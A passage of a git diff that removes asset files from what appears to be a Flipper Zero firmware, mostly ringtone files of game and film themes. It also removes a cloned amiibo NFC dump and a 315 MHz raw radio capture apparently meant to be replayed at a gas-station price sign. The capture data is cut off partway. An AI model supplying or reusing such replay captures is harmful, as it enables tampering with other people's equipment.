-MoogleTheme:d=4,o=6,b=160:8f_7,8f7,8f_7,8c7,c_7,8a,8a_,f_,8c,8c_,32d_,32f,32d_,32f,32d_,32f,16d_,c_,8f,8f_,8g_,8a_,f_7,16g_,16a_,16b,f7,16f_,16g_,16a_,8d_7,8c_7,8b,8a_,g_5,8g_5,8f_5,e5,d5,1c5,8d_7,8c_7,8b,8a_,g_5,8g_5,8f_5,e5,g_5 \ No newline at end of file diff --git a/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt b/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt deleted file mode 100644 index c87df12bd..000000000 --- a/assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt +++ /dev/null @@ -1 +0,0 @@ -ff6_victory:d=4,o=5,b=140:32d6,32p,32d6,32p,32d6,32p,d6,a#,c6,16d6,8p,16c6,2d6,a,g,a,16g,16p,c6,16c6,16p,b,16c6,16p,b,16b,16p,a,g,f#,16g,16p,1e,a,g,a,16g,16p,c6,16c6,16p,b,16c6,16p,b,16b,16p,a,g,a,16c6,16p,1d6 \ No newline at end of file diff --git a/assets/resources/music_player/GorillazClintEastwood.txt b/assets/resources/music_player/GorillazClintEastwood.txt deleted file mode 100644 index 194f8aaea..000000000 --- a/assets/resources/music_player/GorillazClintEastwood.txt +++ /dev/null @@ -1 +0,0 @@ -Gorillaz - Clint Eastwood : d=4,o=5,b=90:16d#6,8c#6,8d#6,a#,8p,16f#,16g#,8a#,8a#,16d#6,8c#6,8d#6,a#,8p,16f#6,8g#6,8a#,16a#,16a#,16p,8a#,8a#,8p,8g#,8g#,16g#,8g#,8g#,8f#,8d#,8c#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#.,8d#,8c#,16d#,8d#., diff --git a/assets/resources/music_player/Hello_Flip.txt b/assets/resources/music_player/Hello_Flip.txt deleted file mode 100644 index dda59ca7f..000000000 --- a/assets/resources/music_player/Hello_Flip.txt +++ /dev/null @@ -1 +0,0 @@ -HelloFlip:d=4,o=5,b=120:2p,f6,c6,1g6,p,a6,c7,a6,f6,d6,c6,d6,8a6,8g6,2a6,2p,a6,g6,f6,e6,d6,a,c6,8e6,8f6,2e6,2p.,a6,d6,1f6,2p,f,c,1g,p,a,c6,d6,f,2p,c,2p,1a,p,a,g,f,d,c,g,e,1c,2p,a,d,2f,2p,8c4,8d#4,8g4,8c,8d#,p,1d6,c6,a#,a,a#,c.6,8d6,8a6,16a#6,16p,16c7,16p,16a6,16p,16a#6,8p.,16a#6,8p.,16a6,2p,1c6,a#,a,g,g#,2a,8g6,27c#6,17p.,8a#6,16g6,16p,8a6,8p,8c7,8p,32c7,16d7,32p,16c7,16p,15a6,17p,16g6,16p,1d6,c6,a#,a,a#,2c6,2f,2a,2d,a,g,f,g,a,c6,a,g,2d.,1p,2e.,2p.,f,c,1g,7p.,a,c6,a,f,d,c,d,8a,8g,2a,2p,a,g,f,e,d,a4,c,8e,8f,e,1p,a,d,1f \ No newline at end of file diff --git a/assets/resources/music_player/JamesBondTheme.txt b/assets/resources/music_player/JamesBondTheme.txt deleted file mode 100644 index ed51a3223..000000000 --- a/assets/resources/music_player/JamesBondTheme.txt +++ /dev/null @@ -1 +0,0 @@ -James Bond Theme : d=4,o=5,b=140:8e,16f#,16f#,8f#,f#,8e,8e,8e,8e,16g,16g,8g,g,8f#,8f#,8f#,8e,16f#,16f#,8f#,f#,8e,8e,8e,8e,16g,16g,8g,g,8f#,8f,8e,8d#6,2d.6,8b,8a,1b, diff --git a/assets/resources/music_player/LegendofZelda_Title.txt b/assets/resources/music_player/LegendofZelda_Title.txt deleted file mode 100644 index 9b19858ba..000000000 --- a/assets/resources/music_player/LegendofZelda_Title.txt +++ /dev/null @@ -1 +0,0 @@ -Zelda1:d=4,o=5,b=125:a#,f.,8a#,16a#,16c6,16d6,16d#6,2f6,8p,8f6,16f.6,16f#6,16g#.6,2a#.6,16a#.6,16g#6,16f#.6,8g#.6,16f#.6,2f6,f6,8d#6,16d#6,16f6,2f#6,8f6,8d#6,8c#6,16c#6,16d#6,2f6,8d#6,8c#6,8c6,16c6,16d6,2e6,g6,8f6,16f,16f,8f,16f,16f,8f,16f,16f,8f,8f,a#,f.,8a#,16a#,16c6,16d6,16d#6,2f6,8p,8f6,16f.6,16f#6,16g#.6,2a#.6,c#7,c7,2a6,f6,2f#.6,a#6,a6,2f6,f6,2f#.6,a#6,a6,2f6,d6,2d#.6,f#6,f6,2c#6,a#,c6,16d6,2e6,g6,8f6,16f,16f,8f,16f,16f,8f,16f,16f,8f,8f \ No newline at end of file diff --git a/assets/resources/music_player/Littleroot_Town_Pokemon.txt b/assets/resources/music_player/Littleroot_Town_Pokemon.txt deleted file mode 100644 index 414c8b094..000000000 --- a/assets/resources/music_player/Littleroot_Town_Pokemon.txt +++ /dev/null @@ -1 +0,0 @@ -LittlerootTown:d=4,o=5,b=100:8c5,8f5,8g5,4a5,8p,8g5,8a5,8g5,8a5,8a#5,8p,4c6,8d6,8a5,8g5,8a5,8c#6,4d6,4e6,4d6,8a5,8g5,8f5,8e5,8f5,8a5,4d6,8d5,8e5,2f5,8c6,8a#5,8a#5,8a5,2f5,8d6,8a5,8a5,8g5,2f5,8p,8f5,8d5,8f5,8e5,4e5,8f5,8g5 \ No newline at end of file diff --git a/assets/resources/music_player/Marble_Machine.fmf b/assets/resources/music_player/Marble_Machine.fmf deleted file mode 100644 index 7403c9a0f..000000000 --- a/assets/resources/music_player/Marble_Machine.fmf +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper Music Format -Version: 0 -BPM: 130 -Duration: 8 -Octave: 5 -Notes: E6, P, E, B, 4P, E, A, G, A, E, B, P, G, A, D6, 4P, D, B, 4P, D, A, G, A, D, F#, P, G, A, D6, 4P, F#, B, 4P, F#, D6, C6, B, F#, A, P, G, F#, E, P, C, E, B, B4, C, D, D6, C6, B, F#, A, P, G, A, E6, 4P, E, B, 4P, E, A, G, A, E, B, P, G, A, D6, 4P, D, B, 4P, D, A, G, A, D, F#, P, G, A, D6, 4P, F#, B, 4P, F#, D6, C6, B, F#, A, P, G, F#, E, P, C, E, B, B4, C, D, D6, C6, B, F#, A, P, G, A, E6 diff --git a/assets/resources/music_player/MortalKombat.txt b/assets/resources/music_player/MortalKombat.txt deleted file mode 100644 index e7e67eba4..000000000 --- a/assets/resources/music_player/MortalKombat.txt +++ /dev/null @@ -1 +0,0 @@ -mkombat:d=4,o=5,b=70:16a#,16a#,16c#6,16a#,16d#6,16a#,16f6,16d#6,16c#6,16c#6,16f6,16c#6,16g#6,16c#6,16f6,16c#6,16g#,16g#,16c6,16g#,16c#6,16g#,16d#6,16c#6,16f#,16f#,16a#,16f#,16c#6,16f#,16c#6,16c6 \ No newline at end of file diff --git a/assets/resources/music_player/Pokemon_Center.txt b/assets/resources/music_player/Pokemon_Center.txt deleted file mode 100644 index 5a0842e9b..000000000 --- a/assets/resources/music_player/Pokemon_Center.txt +++ /dev/null @@ -1 +0,0 @@ -PokemonCenter:d=4,o=6,b=125:8c,8g5,8c,g,f,e,8d,2b5,8b5,8g5,8b5,e,d,b5,8c,2e,8c,8g5,8c,g,f,e,8d,2b5,8b5,8g5,8b5,e,d,b5,8c,e,2e,2g,8f,8g,8f,8e,4d,2b5,2d,8e,8f,8e,8d,8c \ No newline at end of file diff --git a/assets/resources/music_player/Rickroll_Chorus.fmf b/assets/resources/music_player/Rickroll_Chorus.fmf deleted file mode 100644 index 143a271b8..000000000 --- a/assets/resources/music_player/Rickroll_Chorus.fmf +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper Music Format -Version: 0 -BPM: 120 -Duration: 16 -Octave: 5 -Notes: C,D,F,D, 8A., 8A., 4G., C,D,F,D, 8G., 8G., 8F., E,8D, C,D,F,D, 4F, 8G, 8E., D, 4C, 8C, 4G, 2F, C,D,F,D, 8A., 8A., 4G., C,D,F,D, 4C6, 8E, 8F., E, 8D, C,D,F,D, 4F, 8G, 8E., D, 4C, 8C, 4G, 2F, 4P diff --git a/assets/resources/music_player/Spider-Man_Theme.txt b/assets/resources/music_player/Spider-Man_Theme.txt deleted file mode 100644 index 851c97715..000000000 --- a/assets/resources/music_player/Spider-Man_Theme.txt +++ /dev/null @@ -1 +0,0 @@ -spiderman_theme:d=4,o=6,b=225:d_5,8f_5,2a_5,a_5,8f_5,2d_5,d_5,8f_5,a_5,a_5,a_5,8f_5,2d_5,d_5,8g_5,2b5,b5,8g_5,2d_5,d_5,8f_5,a_5,a_5,a_5,8f_5,d_5,8a_5,2g_5,2p,8p,8g_5,8g_5,8g_5,8g_5,g_5,8f_5,2d_5. diff --git a/assets/resources/music_player/Star_Wars_Imp_March.txt b/assets/resources/music_player/Star_Wars_Imp_March.txt deleted file mode 100644 index c13908244..000000000 --- a/assets/resources/music_player/Star_Wars_Imp_March.txt +++ /dev/null @@ -1 +0,0 @@ -Imperial:d=4,o=5,b=80:8d.,8d.,8d.,8a#4,16f,8d.,8a#4,16f,d.,32p,8a.,8a.,8a.,8a#,16f,8c#.,8a#4,16f,d.,32p,8d.6,8d,16d,8d6,32p,8c#6,16c6,16b,16a#,8b,32p,16d#,8g#,32p,8g,16f#,16f,16e,8f,32p,16a#4,8c#,32p,8a#4,16c#,8f.,8d,16f,a.,32p,8d.6,8d,16d,8d6,32p,8c#6,16c6,16b,16a#,8b,32p,16d#,8g# diff --git a/assets/resources/music_player/SuperMarioBrothers_Death.txt b/assets/resources/music_player/SuperMarioBrothers_Death.txt deleted file mode 100644 index 3850cc563..000000000 --- a/assets/resources/music_player/SuperMarioBrothers_Death.txt +++ /dev/null @@ -1 +0,0 @@ -smbdeath:d=4,o=5,b=90:32c6,32c6,32c6,8p,16b,16f6,16p,16f6,16f.6,16e.6,16d6,16c6,16p,16e,16p,16c \ No newline at end of file diff --git a/assets/resources/music_player/SuperMarioBrothers_Theme.txt b/assets/resources/music_player/SuperMarioBrothers_Theme.txt deleted file mode 100644 index c4a96b063..000000000 --- a/assets/resources/music_player/SuperMarioBrothers_Theme.txt +++ /dev/null @@ -1 +0,0 @@ -smb:d=4,o=5,b=100:16e6,16e6,32p,8e6,16c6,8e6,8g6,8p,8g,8p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,16p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16c7,16p,16c7,16c7,p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16d#6,8p,16d6,8p,16c6 \ No newline at end of file diff --git a/assets/resources/music_player/TMNT.txt b/assets/resources/music_player/TMNT.txt deleted file mode 100644 index 96cfee66c..000000000 --- a/assets/resources/music_player/TMNT.txt +++ /dev/null @@ -1 +0,0 @@ -TMNT:d=4,o=4,b=146:c,d,c,d,c,8d,3c,d,d#,f,d#,f,d#,8f,3d#,f,g#,b,g#,b,g#,8b,3g#,b,8f,8f,8f,8f,d#,f,p,8f,8f,8f,f,8p,f,8d#,3f,d#,f,d#,f#,f#,8f,8d#,2c,1p,f,8f,d#,8p,f,8d#,f,3d#,f#,f,8f,8d#,2c,1p,8f,8d#,f,d#,8f,8d#,f,2f#,p,d#,8f,d#,3f,d#,8f#,8f#,f#,f,p diff --git a/assets/resources/music_player/Take_On_Me.txt b/assets/resources/music_player/Take_On_Me.txt deleted file mode 100644 index 97513bd81..000000000 --- a/assets/resources/music_player/Take_On_Me.txt +++ /dev/null @@ -1 +0,0 @@ -TakeOnMe:d=4,o=4,b=160:8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5,8f#5,8e5,8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5 diff --git a/assets/resources/music_player/pac_man.txt b/assets/resources/music_player/pac_man.txt deleted file mode 100644 index 33548e35e..000000000 --- a/assets/resources/music_player/pac_man.txt +++ /dev/null @@ -1 +0,0 @@ -pac_man : d=4,o=5,b=112:32b,32p,32b6,32p,32f#6,32p,32d#6,32p,32b6,32f#6,16p,16d#6,16p,32c6,32p,32c7,32p,32g6,32p,32e6,32p,32c7,32g6,16p,16e6,16p,32b,32p,32b6,32p,32f#6,32p,32d#6,32p,32b6,32f#6,16p,16d#6,16p,32d#6,32e6,32f6,32p,32f6,32f#6,32g6,32p,32g6,32g#6,32a6,32p,32b.6 \ No newline at end of file diff --git a/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc b/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc deleted file mode 100644 index 6183b7223..000000000 --- a/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc +++ /dev/null @@ -1,153 +0,0 @@ -Filetype: Flipper NFC device -Version: 2 -# Nfc device type can be UID, Mifare Ultralight, Mifare Classic, Bank card -Device type: NTAG215 -# UID, ATQA and SAK are common for all formats -UID: 04 95 48 FF 0F 85 32 -ATQA: 44 00 -SAK: 00 -# Mifare Ultralight specific data -Signature: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -Mifare version: 00 04 04 02 01 00 11 03 -Counter 0: 0 -Tearing 0: 00 -Counter 1: 0 -Tearing 1: 00 -Counter 2: 0 -Tearing 2: 00 -Pages total: 135 -Page 0: 04 95 48 51 -Page 1: FF 0F 85 32 -Page 2: 47 48 0F E0 -Page 3: F1 10 FF EE -Page 4: A5 00 93 00 -Page 5: 37 A6 71 FB -Page 6: 12 17 27 45 -Page 7: 9B 03 F9 7C -Page 8: DF D5 DF 44 -Page 9: 6C 3D 61 BF -Page 10: 86 31 24 42 -Page 11: 88 BB E5 68 -Page 12: BB E4 DC 94 -Page 13: CB 8A 0E D1 -Page 14: 13 06 1E C1 -Page 15: 2F 9A 13 78 -Page 16: 59 07 AF 75 -Page 17: 87 FF 63 C1 -Page 18: 20 4B 72 68 -Page 19: C5 53 64 AE -Page 20: AB A6 9F 22 -Page 21: 01 00 00 00 -Page 22: 00 04 00 02 -Page 23: 04 12 84 17 -Page 24: BA 10 B4 0E -Page 25: E6 F7 85 10 -Page 26: F8 77 E1 28 -Page 27: 3D C7 CA F2 -Page 28: CE BF 98 9D -Page 29: C7 4F DA D5 -Page 30: 03 00 3D 4F -Page 31: 51 00 BE FF -Page 32: 0B 44 76 D7 -Page 33: 7E 1A 1C DF -Page 34: 9B 03 B8 BC -Page 35: 5B D1 9F 4E -Page 36: 45 74 F0 83 -Page 37: EA 73 B1 19 -Page 38: CB D7 F9 E3 -Page 39: 23 AE 26 84 -Page 40: 51 11 1F 83 -Page 41: 5F 70 83 E2 -Page 42: F3 4D 97 8D -Page 43: AF 1E 67 FC -Page 44: B4 86 8D 54 -Page 45: 5A 1D 8A D4 -Page 46: 83 AE 0D 18 -Page 47: A8 29 1B 0A -Page 48: CE 79 60 55 -Page 49: B0 4E 0D E0 -Page 50: D5 7F D0 7C -Page 51: 9F 67 B4 3A -Page 52: 1E CF F6 E6 -Page 53: D8 75 22 AA -Page 54: 64 FC 05 59 -Page 55: 51 86 F0 0F -Page 56: 07 66 68 04 -Page 57: 90 ED 79 D4 -Page 58: 34 50 48 43 -Page 59: 8B 46 75 F0 -Page 60: 97 B8 2E A7 -Page 61: 24 32 3F 5E -Page 62: 98 78 98 54 -Page 63: AD 16 1C AA -Page 64: C0 D1 3C C1 -Page 65: 70 77 E9 9A -Page 66: AA 06 B4 B1 -Page 67: 1F D9 39 F3 -Page 68: 49 EB 26 81 -Page 69: 0A 77 53 26 -Page 70: 53 E0 CA 9F -Page 71: C1 EB 69 20 -Page 72: 0C 60 8D 33 -Page 73: DB 51 A2 89 -Page 74: A0 64 80 C0 -Page 75: 8A 03 BD D1 -Page 76: 7D 13 6B 63 -Page 77: 28 BD B7 79 -Page 78: 4A FA A8 BB -Page 79: D6 A7 6A 0E -Page 80: C5 97 C5 01 -Page 81: AC 36 F6 CF -Page 82: 1E 0A 5F 4A -Page 83: 6C A6 A1 54 -Page 84: 46 35 86 FB -Page 85: 15 21 59 07 -Page 86: ED C1 09 90 -Page 87: C6 B4 B1 CB -Page 88: 31 2D 39 37 -Page 89: D2 6C 92 D8 -Page 90: C7 60 7E F1 -Page 91: 73 1D 15 79 -Page 92: 98 56 B3 4C -Page 93: CC 01 A5 9D -Page 94: 2E 5A E5 EC -Page 95: CC 69 79 9E -Page 96: 34 5C 06 2C -Page 97: D8 6D F4 0D -Page 98: 40 1F CB 95 -Page 99: 12 54 87 17 -Page 100: 28 F4 45 2D -Page 101: 4F 7E 1E AB -Page 102: DC 2B F5 E4 -Page 103: 91 EB 2D CD -Page 104: 0E FE 2D 45 -Page 105: D8 DD C8 E6 -Page 106: DB BE 92 A2 -Page 107: A1 32 04 F7 -Page 108: B8 B9 75 93 -Page 109: BF DB 17 BE -Page 110: 5D AB 9D 9B -Page 111: 59 EC 0A 12 -Page 112: 2C 9F 76 B6 -Page 113: B5 F3 37 8F -Page 114: 9E DD F5 8E -Page 115: 06 B6 DA D2 -Page 116: 1E 8B 69 C7 -Page 117: FE 98 95 7A -Page 118: 08 81 BA 11 -Page 119: 26 71 70 C4 -Page 120: A6 B7 59 1B -Page 121: 29 AF FB 6F -Page 122: 67 59 9F F1 -Page 123: 42 34 5F AA -Page 124: 81 2A 88 A9 -Page 125: 66 24 C7 3D -Page 126: 82 4F 5F 0E -Page 127: 57 77 7C 03 -Page 128: A9 83 E3 7F -Page 129: EF 83 4B 35 -Page 130: 01 00 0F BD -Page 131: 00 00 00 04 -Page 132: 5F 00 00 00 -Page 133: C0 12 D0 68 -Page 134: 80 80 00 00 \ No newline at end of file diff --git a/assets/resources/subghz/Gas_Sign/Back_gas.sub b/assets/resources/subghz/Gas_Sign/Back_gas.sub deleted file mode 100644 index cc2d0c23c..000000000 --- a/assets/resources/subghz/Gas_Sign/Back_gas.sub +++ /dev/null @@ -1,47 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 97 -667 361 -904066 137 -340 137 -338 121 -360 359 -122 313 -158 305 -162 305 -162 305 -158 93 -402 293 -164 325 -126 337 -128 91 -402 99 -366 93 -380 319 -134 105 -398 103 -334 373 -106 337 -130 353 -126 337 -130 91 -368 131 -362 93 -3708 127 -344 123 -356 139 -334 365 -108 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 339 -128 355 -94 121 -374 101 -370 125 -354 349 -104 141 -362 105 -338 375 -106 339 -130 353 -94 369 -128 91 -368 131 -332 123 -3718 101 -382 105 -336 125 -382 327 -126 351 -124 339 -128 337 -128 337 -128 125 -348 351 -140 333 -94 377 -96 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 375 -108 337 -130 355 -92 369 -128 93 -368 129 -334 121 -3710 135 -354 105 -368 93 -382 327 -126 355 -124 337 -128 337 -130 337 -126 127 -348 353 -140 333 -124 347 -96 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 377 -106 337 -130 355 -94 369 -128 91 -368 131 -334 123 -3710 133 -354 105 -370 93 -380 327 -126 355 -124 337 -128 339 -128 337 -128 125 -346 355 -140 333 -124 347 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 339 -128 355 -94 369 -128 91 -368 131 -332 123 -3708 135 -354 105 -370 93 -392 329 -134 331 -122 337 -128 337 -130 337 -128 125 -374 325 -140 337 -126 349 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -370 343 -106 337 -130 357 -92 369 -128 93 -368 131 -332 123 -3712 135 -354 105 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -342 347 -142 339 -100 359 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -338 375 -108 337 -130 355 -94 369 -128 91 -368 131 -332 123 -3706 129 -340 125 -362 141 -336 365 -108 339 -130 351 -94 369 -128 339 -128 93 -368 365 -108 337 -130 355 -94 121 -374 103 -368 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3706 129 -340 125 -362 141 -334 367 -108 339 -128 353 -94 369 -130 337 -128 93 -368 367 -106 339 -128 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -336 377 -106 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3718 135 -350 105 -368 93 -384 327 -124 355 -124 359 -104 359 -108 335 -126 141 -342 351 -106 373 -100 359 -94 139 -374 95 -360 125 -360 327 -122 121 -354 139 -336 369 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3708 135 -356 105 -370 93 -382 349 -104 -RAW_Data: 337 -124 375 -94 369 -96 371 -128 93 -368 367 -106 337 -130 353 -94 121 -374 137 -332 125 -354 351 -104 141 -362 105 -370 343 -106 339 -128 357 -92 369 -128 91 -368 131 -334 123 -3736 97 -340 125 -366 139 -336 367 -108 339 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -374 137 -334 125 -356 349 -140 105 -364 103 -370 343 -108 337 -130 355 -94 369 -128 91 -368 131 -364 91 -3718 135 -350 107 -368 93 -382 327 -126 355 -124 337 -128 337 -130 337 -128 125 -348 353 -138 333 -126 347 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -336 377 -106 339 -130 353 -124 339 -128 91 -368 131 -364 91 -3714 127 -342 125 -360 139 -334 367 -108 339 -128 353 -94 369 -128 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3716 135 -352 107 -368 93 -382 327 -126 353 -126 337 -128 337 -130 337 -126 127 -348 353 -140 333 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 355 -94 369 -128 91 -368 131 -334 121 -3716 135 -352 105 -370 91 -382 327 -126 355 -126 359 -104 359 -106 339 -124 141 -342 351 -142 337 -100 361 -94 139 -340 129 -360 125 -360 327 -122 121 -356 137 -336 369 -108 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3714 135 -352 107 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -340 351 -140 337 -100 361 -124 89 -376 139 -334 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3736 97 -370 95 -366 141 -336 365 -108 339 -130 353 -92 369 -128 339 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 93 -368 129 -334 123 -3716 135 -352 105 -368 93 -382 349 -102 337 -124 375 -94 371 -96 369 -130 93 -368 365 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 93 -368 131 -332 123 -3738 97 -372 93 -366 139 -336 367 -108 339 -128 353 -94 369 -128 337 -130 93 -368 365 -108 337 -130 357 -92 121 -376 101 -370 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 355 -124 337 -130 91 -368 131 -364 93 -3716 135 -352 107 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -340 351 -140 -RAW_Data: 341 -100 359 -124 91 -374 139 -332 127 -368 331 -134 103 -394 71 -370 365 -108 337 -128 353 -92 369 -130 91 -368 131 -362 93 -3714 135 -354 105 -368 93 -380 329 -126 355 -126 359 -104 359 -106 337 -126 141 -340 351 -140 339 -102 359 -124 91 -376 137 -334 125 -368 333 -132 103 -396 69 -370 365 -106 337 -130 353 -126 337 -130 91 -368 131 -332 123 -3708 129 -338 125 -364 139 -336 367 -108 339 -128 355 -92 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 109 -372 97 -360 93 -370 351 -132 105 -394 105 -336 367 -108 337 -130 355 -124 337 -130 91 -368 131 -364 93 -3740 101 -356 107 -370 93 -382 349 -104 337 -124 345 -126 369 -128 339 -128 93 -370 365 -106 337 -130 353 -126 89 -374 103 -368 125 -354 349 -140 105 -362 105 -368 343 -106 337 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 133 -356 105 -370 93 -382 327 -126 355 -124 359 -104 359 -108 335 -126 141 -340 351 -142 339 -100 361 -124 107 -376 95 -362 93 -390 327 -124 141 -342 101 -366 353 -140 333 -126 351 -94 369 -128 93 -368 131 -330 123 -3718 133 -354 105 -368 93 -382 327 -126 353 -124 337 -128 339 -128 339 -126 127 -348 353 -138 333 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -362 105 -368 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3714 135 -356 105 -370 93 -380 327 -128 355 -124 359 -106 357 -108 337 -124 141 -342 351 -140 339 -100 361 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -332 353 -140 333 -128 349 -94 369 -128 93 -366 131 -332 123 -3714 135 -354 105 -370 93 -380 329 -126 355 -124 361 -104 357 -108 337 -124 141 -342 351 -140 339 -100 359 -124 109 -374 97 -362 125 -360 325 -124 121 -354 139 -336 371 -106 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3714 135 -354 105 -370 93 -392 329 -134 331 -124 359 -106 357 -144 303 -124 141 -340 353 -140 341 -100 363 -124 89 -376 137 -334 125 -368 333 -134 103 -358 141 -334 367 -106 337 -130 353 -94 369 -128 91 -368 131 -364 91 -3718 135 -348 91 -382 137 -334 365 -92 345 -134 335 -122 353 -140 359 -108 105 -364 349 -140 325 -144 333 -94 139 -376 101 -334 123 -378 317 -136 139 -346 93 -382 343 -126 339 -128 337 -128 339 -124 123 -346 127 -372 97 -3714 137 -336 125 -368 105 -360 349 -108 361 -108 339 -132 355 -126 359 -104 103 -382 329 -126 351 -124 339 -128 91 -368 131 -366 91 -378 351 -104 -RAW_Data: 141 -362 105 -334 373 -108 337 -130 357 -92 369 -128 93 -368 131 -332 123 -3718 135 -352 105 -370 93 -380 327 -128 355 -124 359 -104 359 -108 337 -124 141 -342 351 -124 357 -104 335 -124 123 -358 139 -334 127 -356 349 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 91 -368 131 -366 91 -3738 95 -372 93 -370 139 -336 367 -108 337 -130 355 -92 369 -128 339 -128 93 -368 367 -108 337 -130 355 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 91 -368 131 -366 91 -3742 99 -356 107 -368 127 -350 351 -104 339 -124 375 -94 369 -98 369 -128 95 -368 365 -108 337 -128 355 -92 121 -376 137 -334 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3744 99 -356 107 -368 125 -352 349 -104 369 -94 375 -94 369 -130 337 -128 95 -366 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 355 -124 339 -128 91 -368 131 -364 93 -3712 135 -354 107 -368 93 -394 331 -132 331 -124 359 -106 357 -144 333 -94 139 -342 353 -142 341 -100 363 -124 107 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 349 -94 367 -130 91 -368 131 -332 123 -3712 135 -354 107 -368 93 -392 331 -134 329 -124 337 -128 337 -130 337 -128 125 -372 327 -140 337 -128 351 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 133 -364 91 -3740 95 -372 93 -368 141 -334 369 -108 339 -128 353 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -92 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 355 -124 339 -128 91 -368 131 -334 123 -3738 95 -372 93 -382 105 -370 345 -108 373 -100 357 -94 369 -128 337 -130 93 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 355 -94 369 -128 91 -368 131 -364 93 -3742 99 -356 107 -368 125 -352 351 -104 369 -92 377 -94 369 -130 337 -128 93 -368 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3748 99 -356 107 -368 93 -394 329 -134 331 -124 337 -126 339 -128 339 -128 125 -372 327 -140 337 -126 351 -94 121 -374 103 -368 125 -354 349 -140 105 -362 105 -370 343 -108 337 -132 355 -126 337 -128 -RAW_Data: 91 -368 131 -366 91 -3742 99 -356 143 -334 125 -352 351 -104 369 -92 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 127 -354 349 -140 105 -364 105 -368 345 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3746 101 -356 107 -368 93 -394 329 -134 331 -124 335 -128 339 -128 337 -128 127 -372 325 -142 335 -128 351 -94 121 -374 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 99 -356 143 -332 127 -352 351 -104 337 -126 375 -94 369 -98 369 -128 93 -368 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 